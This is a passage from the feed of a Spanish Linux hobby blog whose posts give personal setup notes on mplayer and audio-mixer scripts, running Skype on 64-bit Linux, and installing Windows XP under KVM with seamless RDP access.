mplayer&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;Una vez tengamos el mplayer instalado a nuestro gusto, tendremos que configurarlo de cara a nuestras necesidades.&lt;br /&gt;Para ello tenemos los archivos &lt;span style="font-style: italic;"&gt;mplayer.conf&lt;/span&gt; y &lt;span style="font-style: italic;"&gt;gui.conf&lt;/span&gt;, para el &lt;span style="font-style: italic;"&gt;mplayer(-bin)&lt;/span&gt; y &lt;span style="font-style: italic;"&gt;gmplayer(-bin)&lt;/span&gt; respectivamente. Además hay que tener en cuenta que, como muchos programas en linux, estos ficheros pueden estar en &lt;span style="font-style: italic;"&gt;/etc&lt;/span&gt; (para que la configuración sea genérica para cualquier usuario) o en&lt;span style="font-style: italic;"&gt; $HOME/.mplayer/&lt;/span&gt; (configuración específica para cada usuario). El mplayer hace caso en este orden: 1º parámetros de ejecución. 2º Config de usuario. 3ª Config global.&lt;br /&gt;Respecto a las principales par'ametros que yo tengo puestos en el &lt;span style="font-style: italic;"&gt;mplayer.conf&lt;/span&gt;, son los siguientes (no estoy seguro de si se son exáctamente igual los parámetros en el archivo &lt;span style="font-style: italic;"&gt;gui.conf&lt;/span&gt;):&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Parámetros mplayer.conf&lt;/b&gt;&lt;br /&gt;&lt;b&gt;vo=xv &lt;/b&gt;Usa la extensión XVideo de XFree86 4.x para activar la reproducción acelerada por hardware.&lt;br /&gt;&lt;b&gt;double=yes &lt;/b&gt;Double buffering, recomendado para el tema de subtítulos.&lt;br /&gt;&lt;b&gt;ao=alsa [7] &lt;/b&gt;Utiliza el controlador ALSA.&lt;br /&gt;&lt;b&gt;monitoraspect=4:3 &lt;/b&gt;Especificamos el tipo de monitor.&lt;br /&gt;&lt;b&gt;font="Bitstream Vera Sans" [8] &lt;/b&gt;Le especificamos que fuente utilizar.&lt;br /&gt;&lt;b&gt;subfont-osd-scale=4 &lt;/b&gt;Establece el coeficiente de autoescala de los elementos del OSD.&lt;br /&gt;&lt;b&gt;subfont-text-scale=3 &lt;/b&gt;Tamaño de las fuentes especificando la escala.&lt;br /&gt;&lt;br /&gt;Por supuesto hay muchos más, pero no tiene sentido extenderse. Lo suyo es ir mirando en el man de mplayer para cada cosa que queramos ir tocando ^_^&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;alias&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;Como yo utilizo el PC como HTPC y como PC de escritorio, suelo tirar de alias para reproducir las cosas dependiendo de donde/lo que me interese. Hay que tener en cuenta que es una gentoo de 64bits, así que uso mplayer / mplayer-bin / gmplayer / gmplayer-bin dependiendo de lo que me interese. Por simplificar pongo los ejemplos con el gmplayer.&lt;br /&gt;&lt;code&gt;bpk@osaka:$ grep mplayer /home/bpk/.bash_aliases&lt;br /&gt;alias gmplayer_dolby_dts="gmplayer -ac hwdts,hwac3, -monitoraspect 16:9 -sws 9 -vf scale=1280:-2"&lt;br /&gt;alias gmplayer_dvd="gmplayer -ac hwdts,hwac3, -monitoraspect 16:9 -sws 9 -vf scale=1280:-2 dvd:// -dvd-device"&lt;br /&gt;alias gmplayer_entrelazado="gmplayer -ac hwdts,hwac3, -monitoraspect 16:9 -sws 9 -vf scale=1280:-2 -vf pp=hb/vb/dr/al/lb/tn:1:2:3"&lt;br /&gt;alias gmplayer_entrelazado2="gmplayer -ac hwdts,hwac3, -monitoraspect 16:9 -sws 9 -vf scale=1280:-2 -vf pp=fd"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;kutre-scripts&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;Por último, tengo unos kutre-scripts que utilizo para que Staryu reproduzca las películas a golpe de ratón.&lt;br /&gt;Escenario: En F7 tengo levantadas unas KDE que sólo se ven desde el monitor del PC. En  F8 tengo levantadas unas X con un eterm que se ven desde el proye y el monitor y que tienen  la resolución nativa del proye.&lt;br /&gt;Para levantar las X de F8:&lt;br /&gt;&lt;code&gt;bpk@osaka:$ cat X_720p&lt;br /&gt;#!/bin/sh&lt;br /&gt;X :1 -layout "Proye_720" &amp;amp; &gt; /dev/null&lt;br /&gt;DISPLAY=:1 Eterm --geometry 210x53&lt;br /&gt;xhost +&lt;/code&gt;&lt;br /&gt;Para reproducir el archivo en F8. Tengo asociado el script como acción principal para determinados tipos de archivos y así que se reproduzcan los videos en F8.&lt;br /&gt;&lt;code&gt;bpk@osaka:$ cat reproductor_proye&lt;br /&gt;#!/bin/sh&lt;br /&gt;export DISPLAY=:1&lt;br /&gt;chvt 8 &amp;amp; gmplayer-bin -ac hwdts,hwac3, -monitoraspect 16:9 -sws 9 -vf scale=1280:-2 "$1" &amp;amp;&amp;amp; chvt 7&lt;br /&gt;export DISPLAY=:0&lt;/code&gt;&lt;br /&gt;Para reproducir carpetas que contienen un backup de DVD en su interior.&lt;br /&gt;&lt;code&gt;bpk@osaka:$ cat dvd_proye&lt;br /&gt;#!/bin/sh&lt;br /&gt;kdialog --title "NOTA INFORMATIVA" --msgbox " Para que esto funcione, hay que 'clickar' sobre la carpeta SUPERIOR A VIDEO_TS. \&lt;br /&gt;De lo contrario no funcionará... Good luck ^_^"&lt;br /&gt;export DISPLAY=:1&lt;br /&gt;chvt 8 &amp;amp; xine -f dvd:///"$1" &amp;amp;&amp;amp; chvt 7&lt;br /&gt;export DISPLAY=:0&lt;/code&gt;&lt;br /&gt;Faltan un montón de cosas: ajustar temas de offset, posición de subs, ventajas y desventajas de los distintos filtrados por software y hardware, etc. pero como cada persona necesita ajustar todos esos parámetros personalmente, no tiene sentido que me meta en ese fregado.&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Tampoco me quiero meter en configuración de Xorg y demás zarandajas, pero si hace falta las subo a algún lado, que no son nada del otro mundo.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.gentoo.org/dyn/use-index.xml"&gt;[1]&lt;/a&gt; &lt;a href="http://www.gentoo.org/dyn/use-index.xml"&gt;listado de USE flags&lt;/a&gt;&lt;br /&gt;[2] Desde el 7 de enero gentoo prefiere libdca a libdts: "Remove unused versions still depending only libdts because it's getting removed in favour of libdca." &lt;a href="http://www.gentooportage.info/portage/media-video/mplayer.html"&gt;mplayer changelog&lt;/a&gt;&lt;br /&gt;[3] Habitualmente no utilizo Ogle, pero lo tengo instalado para hacer pruebas alguna vez.&lt;br /&gt;[4] No he encontrado info referente a esta USE, así que supongo que ya no tiene sentido tenerla. Lo que sí he encontrado es el paquete faad2.&lt;br /&gt;                 -media-libs/faad2.      AAC audio decoding library&lt;br /&gt;[5] El paquete dir2ogg se encarga de realizar la conversión--&gt; media-sound/dir2ogg: Converts Mp3, M4a, Wma, and Wav files to Ogg Vorbis format.&lt;br /&gt;[6] El paquete /media-video/transcode tira de media-video/mjpegtools&lt;br /&gt;[7] Con antiguas configuraciones de alsa + mplayer he tenido que especificarle el dispositivo. Por ejemplo:ao=alsa:device=spdif ó ao=alsa:device=hw=0.0&lt;br /&gt;[8] En mi caso utilizo fuentes truetype font=/usr/share/fonts/truetype/ttf-bitstream-vera/Vera.ttf"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-891384500712708450?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/891384500712708450/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=891384500712708450' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/891384500712708450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/891384500712708450'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/02/notas-sobre-mplayer-antes-de-nada-el.html' title='Notas sobre mplayer'/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-5499414482505714894</id><published>2008-01-11T10:42:00.000+01:00</published><updated>2008-01-11T11:24:20.853+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='alsa'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title type='text'></title><content type='html'>&lt;h1&gt;aumix - una forma de controlar el volumen en los script&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Un pequeño complemento del artículo anterior... además de un método alternativo para controlar el volumen (para pisar el kurro de MoZ exclusivamente, que conste ~_^)&lt;br /&gt;&lt;br /&gt;Concretamente voy a contar lo que hace aumix, para los que no lo conozcan. Según el man &lt;span style="font-style: italic;"&gt;"This program adjusts the settings of an audio mixing device.  It can be used from the command line, in scripts, or interactively with the keyboard or mouse."&lt;/span&gt;&lt;br /&gt;Que viene a decir que es un programa para controlar los volúmenes y que se puede manejar desde la linea de comandos, scripts, o interactívamente.&lt;br /&gt;&lt;br /&gt;A continuación unos ejemplos de uso. Aunque es muy sencillo de usar y en el manual está muy bien explicado.&lt;br /&gt;&lt;br /&gt;Para ver qué volúmenes tenemos actualmente:&lt;br /&gt;&lt;code&gt;bpk@osaka:~$ aumix -q&lt;br /&gt;vol 80, 80, R&lt;br /&gt;pcm 90, 90&lt;br /&gt;mic 100, 100, P&lt;br /&gt;igain 0, 0&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Creamos un directorio donde guardaremos los perfiles:&lt;br /&gt;&lt;code&gt;mkdir $HOME/.aumix/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Grabamos la configuración actual de los altavoces (se grabará en &lt;span style="font-style: italic;"&gt;$HOME/.aumixrc&lt;/span&gt;):&lt;br /&gt;&lt;code&gt;aumix -f $HOME/.aumix/default -S&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Modificaremos los volúmenes que queramos para un perfil concreto y lo grabaremos en &lt;span style="font-style: italic;"&gt;$HOME/.aumix/&lt;/span&gt;&lt;br /&gt;Creamos un perfil para silenciarlos:&lt;br /&gt;&lt;code&gt;aumix -v0 -c0 -l0 -m0 -w0 -W0 -f $HOME/.aumix/mute -S -q&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Creamos un perfil con el volumen al que nos gusta jugar al quake:&lt;br /&gt;&lt;code&gt;aumix -v75 -m60 -w90 -W0 -f $HOME/.aumix/quake -S -q&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Una vez tengamos creados los perfiles, podemos cargarlos de la siguiente forma:&lt;br /&gt;&lt;code&gt;aumix -f $HOME/.aumix/perfil_audio -L&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para lo que es realmente útil aumix, es para scriptear nuestras aplicaciones. Perogrullada de ejemplo:&lt;br /&gt;&lt;code&gt;bpk@soaka:~$cat quake.sh&lt;br /&gt;#!/bin/sh&lt;br /&gt;aumix -f $HOME/.aumix/quake&lt;br /&gt;/opt/quake3/bin/quake3&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Un par de apuntes.&lt;br /&gt;&lt;br /&gt;El aumix ejecuta secuencialmente todo los parámetros que le indiquemos. Así que si ponemos el &lt;span style="font-style: italic;"&gt;-q&lt;/span&gt; al principio, nos devolverá los valores antes de efectuar los&lt;br /&gt;cambios.&lt;br /&gt;Por ejemplo, cuidado si indicamos el &lt;span style="font-style: italic;"&gt;-S&lt;/span&gt; antes de &lt;span style="font-style: italic;"&gt;-f $HOME/.aumix/mute&lt;/span&gt;, porque grabará la configuración en el archivo por defecto &lt;span style="font-style: italic;"&gt;$HOME/.aumixrc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En mi caso concreto, los único volúmenes que tengo que tocar en el portátil son &lt;span style="font-style: italic;"&gt;-v&lt;/span&gt; (Volumen principal) &lt;span style="font-style: italic;"&gt;-w&lt;/span&gt; (PCM), pero eso dependerá de las conexiones que use cada uno. En el manual indica a qué canal corresponde a cada letra.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-5499414482505714894?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/5499414482505714894/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=5499414482505714894' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5499414482505714894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5499414482505714894'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/01/buenas-un-pequeo-complemento-del.html' title=''/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-4666980977432721324</id><published>2008-01-09T12:14:00.001+01:00</published><updated>2008-06-16T18:22:34.389+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='alsa'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title type='text'>Script para silenciar-dessilenciar altavoces, cascos...</title><content type='html'>Quien no tiene hoy en dia un ordenador con 40 salidas de audio de minijack (o mas) front, rear, supu... Normalmente para el dia a dia solo sueles usar alguna de estas. Muchos, como yo no tenemos altavoces 5.1 (7.1, 8.1 .... cuando parara...) para el ordena, para lo que lo usamos es para currar, escuchar musica y pa echarnos unos quakes a lo sumo. Normalmente tendras los altavoces estero (con o sin subwofer) y unos cascos. Dependiendo de la tarea y del entorno usaras cascos o altavoces y es posible que o tengas el duplicador de front con cascos y altavoces a la vez enchufados o que tengas que agacharte y mirarle el culo a tu precioso ordenador para cambiar mini-jacks cada vez que quieras cambiar de altavoces a cascos...&lt;br /&gt;&lt;br /&gt;¡¡¡Bueno pues se acabo!!!&lt;br /&gt;Se acabo el agacharte para poner los cascos y asi poder ver p*rn*... pelicul... series de.... (¿hay algo que no este prohibido aun y sea socialmente aceptable...?) a, si, videos de tus amigos en sus vacaciones en la palma en youtube el tener apagado los altavoces y escuchar un sonidillo de fondo en los cascos, con los mensajes del chuceras de turno que esta conectado a las 3 am al gaim, molestando asi tus dulces sueños.&lt;br /&gt;&lt;br /&gt;Lo primero es duplicar el audio que sale por los altavoces principales salga tambien por los altavoces traseros :&lt;br /&gt;&lt;br /&gt;En alsamixer, Duplicate Front, que este en on ([00])&lt;br /&gt;&lt;br /&gt;Gracias a esto podras tener conectados altavoces y cascos a la vez y te sonara estereo por ambos.&lt;br /&gt;&lt;br /&gt;Ahora creamos un script que vamos a llamar switch-alsa-output ...&lt;br /&gt;(En el caso de mi tarjeta el master es el front.... npi de porque)&lt;br /&gt;... en el que ponemos el siguiente codigo :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;if amixer get Master | grep off; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;amixer -q set Master unmute;&lt;br /&gt;&amp;nbsp;&amp;nbsp;amixer -q set Surround mute;&lt;br /&gt;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;amixer -q set Master mute;&lt;br /&gt;&amp;nbsp;&amp;nbsp;amixer -q set Surround unmute;&lt;br /&gt;fi&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ejecutamos y comprobamos que cambia la salida del audio de uno a otro.&lt;br /&gt;&lt;br /&gt;Ya como ultimo paso me meti como root, copie el script a /usr/local/bin &lt;br /&gt;&lt;br /&gt;&lt;code&gt;su&lt;br /&gt;cp switch-alsa-output /usr/local/bin&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Cambie permisos &lt;br /&gt;&lt;br /&gt;&lt;code&gt;chown root:audio /usr/local/bin/switch-alsa-output&lt;br /&gt;chmod 750 /usr/local/bin/switch-alsa-output&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;audio es el grupo de usuarios que tienen acceso al audio del sistema en gentoo...  No se como sera en otras distros...&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Salud3!&lt;br /&gt;&lt;br /&gt;El 99% del script esta &lt;a href="http://www.esdebian.org/forum/viewtopic.php?forum=38&amp;showtopic=91279"&gt;sacado de aqui :: http://www.esdebian.org/forum/viewtopic.php?forum=38&amp;showtopic=91279&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias infinitas a elsenyordelcaos por su aportacion.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-4666980977432721324?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/4666980977432721324/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=4666980977432721324' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/4666980977432721324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/4666980977432721324'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/01/script-para-silenciar-dessilenciar.html' title='Script para silenciar-dessilenciar altavoces, cascos...'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-7003711232709279453</id><published>2007-11-09T10:32:00.001+01:00</published><updated>2008-03-25T18:02:41.984+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webcam'/><category scheme='http://www.blogger.com/atom/ns#' term='gentoo'/><category scheme='http://www.blogger.com/atom/ns#' term='voip'/><category scheme='http://www.blogger.com/atom/ns#' term='amd64X2'/><category scheme='http://www.blogger.com/atom/ns#' term='amd64'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Skype 2 32bits para Linux amd64</title><content type='html'>&lt;img src="http://share.skype.com/sites/linux/skypelinux_video.png" alt="Skype 2 for Linux with video" border="0" /&gt;&lt;br /&gt;(con soporte de Video!!!)&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Bajar el  &lt;a href="http://www.skype.com/intl/en/download/skype/linux/"&gt;Skype 2.0&lt;/a&gt; en &lt;a href="http://www.skype.com/go/getskype-linux-static"&gt;Static&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Descomprimir en &lt;span style="font-style: italic;"&gt;/opt/skype&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Instalar paquete &lt;span style="font-style: italic;"&gt;ia32-libs&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Ejecutar el comando:&lt;br /&gt;&lt;code&gt;ldd /opt/skype/skype | awk '/not found/{print $1}'&lt;/code&gt;&lt;br /&gt;Buscar las librarias que salen después del comando en su versión para 32bits y copiarlos a &lt;span style="font-style: italic;"&gt;/opt/skype/lib/&lt;/span&gt;. Una posibilidad es usar el repositorio &lt;a href="http://packages.debian.org/"&gt;debian&lt;/a&gt; y descomprimir los debs para poder copiar las librerias.&lt;/li&gt;&lt;li&gt;Crear archivo ejecutable en &lt;span style="font-style: italic;"&gt;/usr/local/bin/skype&lt;/span&gt;:&lt;br /&gt;&lt;code&gt;#!/bin/sh&lt;br /&gt;SP=/opt/skype&lt;br /&gt;export LD_LIBRARY_PATH=$SP/lib/&lt;br /&gt;$SP/skype --resources=$SP/ $@&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Asegurar que todo pertenece a root y solo el tiene permisos de modificación:&lt;br /&gt;&lt;code&gt;chown -R root:root /opt/skype /usr/local/bin/skype&lt;br /&gt;chmod -R go-w /opt/skype /usr/local/bin/skype&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Crear acceso directo en tu desktop a &lt;span style="font-style: italic;"&gt;/usr/local/bin/skype&lt;/span&gt; con el icono de &lt;span style="font-style: italic;"&gt;/opt/skype/icons&lt;/span&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-7003711232709279453?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/7003711232709279453/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=7003711232709279453' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/7003711232709279453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/7003711232709279453'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/11/skype-2-32bits-para-linux-amd64-con.html' title='Skype 2 32bits para Linux amd64'/><author><name>plue</name><uri>http://www.blogger.com/profile/03939173766346027539</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-6545894486199075963</id><published>2007-11-08T18:29:00.001+01:00</published><updated>2008-03-25T18:00:03.289+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rdp'/><category scheme='http://www.blogger.com/atom/ns#' term='cpu'/><category scheme='http://www.blogger.com/atom/ns#' term='rdesktop'/><category scheme='http://www.blogger.com/atom/ns#' term='configuracion'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualizacion'/><category scheme='http://www.blogger.com/atom/ns#' term='amd64X2'/><category scheme='http://www.blogger.com/atom/ns#' term='seamless'/><category scheme='http://www.blogger.com/atom/ns#' term='kvm'/><title type='text'>Instalación de Windows XP en KVM</title><content type='html'>&lt;span&gt;Primero se debe comprobar que se pueda usar kvm, de no ser así se puede usar qemu con kqemu que también se trata de una solución libre&lt;/span&gt;.&lt;span&gt; Para comprobarlo el comando de a continuación debe responder si dispones de las extensiones de virtualización:&lt;/span&gt;&lt;br /&gt;&lt;code&gt;grep '^flags.*(svm|kvm)' /proc/cpuinfo&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Con extensiones de virtualización en la CPU&lt;/u&gt;&lt;span&gt;: (Recomendado)&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Programas necesarios:&lt;/span&gt; kvm, qemu&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Módulos necesarios:&lt;/span&gt; kvm, (kvm-intel|kvm-amd)&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Sin extensiones de virtualización en la CPU&lt;/u&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Programas necesarios:&lt;/span&gt; qemu&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Módulos necesarios:&lt;/span&gt; kqemu&lt;br /&gt;En ese caso debería funcionar reemplazando los comandos "kvm" por "qemu" pero no ha sido probado.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Crear disco virtual:&lt;/span&gt;&lt;br /&gt;&lt;code&gt;qemu-img create -f qcow vdisk.img 10G&lt;/code&gt;&lt;br /&gt;Para conseguir mejor resultados de disco en windows es mejor usar &lt;code&gt;qcow2&lt;/code&gt; envez de &lt;code&gt;qcow&lt;/code&gt;.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Empezar la instalación:&lt;/span&gt;&lt;br /&gt;&lt;code&gt;kvm -hda vdisk.img -cdrom windowsxp.iso -boot d -m 256 -no-acpi -localtime&lt;/code&gt;&lt;br /&gt;&lt;a href="http://kvm.qumranet.com/kvmwiki/Windows_ACPI_Workaround"&gt;ACPI en virtualización&lt;/a&gt; va muy lento así que lo desactivamos, eso tiene la pega de que no se reinicia correctamente durante la instalación (en mi caso lo he reiniciando matando a kvm).&lt;br /&gt;Después de la instalación de agrega a mano un hardware de sistema llamado algo parecido a "APM/Legacy NT" para que se apague y reinicie correctamente mediante el uso de APM y sin usar ACPI.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Empezar a usar Windows:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Básico&lt;/span&gt;&lt;br /&gt;&lt;code&gt;export QEMU_AUDIO_DRV=sdl&lt;br /&gt;kvm -hda vdisk.img -m 256 -no-acpi -localtime -soundhw es1370&lt;/code&gt;&lt;br /&gt;No tiene problemas.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Seamless&lt;/span&gt;&lt;br /&gt;&lt;code&gt;export QEMU_AUDIO_DRV=sdl&lt;br /&gt;kvm -hda vdisk.img -m 256 -no-acpi -localtime -soundhw es1370 \&lt;br /&gt;    -redir tcp:3389::3389 -nographic -monitor null -serial null&lt;/code&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Ejecutar en modo básico (mirar el apartado anterior).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Se debe descomprimir el &lt;a href="http://www.cendio.com/seamlessrdp/"&gt;SeamlessRDP&lt;/a&gt; en la carpeta &lt;span style="font-style: italic;"&gt;c:\seamlessrdp\&lt;/span&gt;&lt;/li&gt;&lt;li&gt;A preferencias de sistema se activa el acceso remoto.&lt;/li&gt;&lt;li&gt;A cuentas debe estar activado la pantalla de bienvenida y cambio rapido de usuarios.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Se le pone password al usuario &lt;span style="font-style: italic;"&gt;Administrador&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Apagar el Windows y ya se puede iniciar en modo seamless que kvm ya no necesitara las X.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Desde Linux ya se puede entrar con rdesktop.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;code&gt;rdesktop -E -r sound:remote -r disk:home=$HOME -k es -u administrador -p - \&lt;br /&gt;         -A -s "c:\seamlessrdp\seamlessrdpshell.exe taskmgr"&lt;/code&gt;&lt;br /&gt;Aquí se usa RDP en vez de SMB para los archivos pero se recomienda usar elprograma Samba.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-weight: bold;"&gt;&lt;u&gt;Más información&lt;/u&gt;:&lt;/span&gt;&lt;br /&gt;&lt;code&gt;man qemu&lt;/code&gt;&lt;br /&gt;Se aplican los parámetros de qemu en kvm.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Apagar desde RDP:&lt;br /&gt;&lt;/span&gt;Ejecutar o crear acceso directo a&lt;br /&gt;&lt;code&gt;shutdown -s -f&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Comprimir la imagen de disco:&lt;br /&gt;&lt;/span&gt;&lt;ol&gt;&lt;li&gt;Defragmentar en Windows (Guest).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Ejecutar &lt;a href="http://www.microsoft.com/technet/sysinternals/Security/SDelete.mspx"&gt;SDelete&lt;/a&gt; en Windows (Guest):&lt;br /&gt;&lt;code&gt;sdelete -c c:&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Apagar el Guest.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Comprimir la imagen en el Host:&lt;br /&gt;&lt;code&gt;mv vdisk.img vdisk-zerofull.img&lt;br /&gt;qemu-img convert -c -f qcow vdisk-zerofull.img -O qcow vdisk.img&lt;br /&gt;rm vdisk-zerofull.img&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-6545894486199075963?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/6545894486199075963/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=6545894486199075963' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/6545894486199075963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/6545894486199075963'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/11/instalacin-de-windows-xp-en-kvm-primero.html' title='Instalación de Windows XP en KVM'/><author><name>plue</name><uri>http://www.blogger.com/profile/03939173766346027539</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-2318196179474639381</id><published>2007-11-07T08:54:00.002+01:00</published><updated>2008-06-16T18:24:42.099+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BIOS'/><category scheme='http://www.blogger.com/atom/ns#' term='UDEV'/><category 